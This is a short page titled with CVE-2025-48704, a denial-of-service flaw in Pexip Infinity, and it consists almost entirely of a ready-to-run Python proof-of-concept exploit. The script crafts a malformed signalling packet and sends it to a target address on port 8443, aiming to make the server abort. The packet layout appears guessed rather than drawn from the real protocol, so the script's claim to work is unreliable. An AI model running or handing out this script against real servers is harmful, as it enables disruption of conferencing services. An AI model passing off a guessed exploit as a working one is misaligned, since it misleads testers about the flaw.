CVE-2025-48704 Pexip Infinity 输入验证不当拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2025-48704 PoC - Pexip Infinity Improper Input Validation DoS Note: This PoC is for educational and security testing purposes only. """ import socket import struct import sys def create_malformed_signalling_packet(): """Generate a malformed signalling packet to trigger improper input validation""" # Pexip Infinity signalling protocol header header = b'PEXI' # Protocol identifier version = struct.pack('!H', 1) # Version 1 msg_type = struct.pack('!H', 0xFFFF) # Malformed message type # Craft payload with invalid input that triggers validation failure # This causes the software to call abort() payload = b'\x00' * 100 + b'\xFF\xFF\xFF\xFF' + b'\x00' * 50 packet = header + version + msg_type + payload return packet def send_exploit(target_ip, target_port=8443): """Send exploit payload to target""" print(f'[*] Target: {target_ip}:{target_port}') print('[*] Generating malformed signalling packet...') packet = create_malformed_signalling_packet() try: print('[*] Sending exploit payload...') sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.send(packet) print('[+] Packet sent successfully') print('[*] Target should trigger abort() due to improper input validation') sock.close() except Exception as e: print(f'[-] Error: {e}') if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: {sys.argv[0]} <target_ip> [port]') sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 8443 send_exploit(target, port)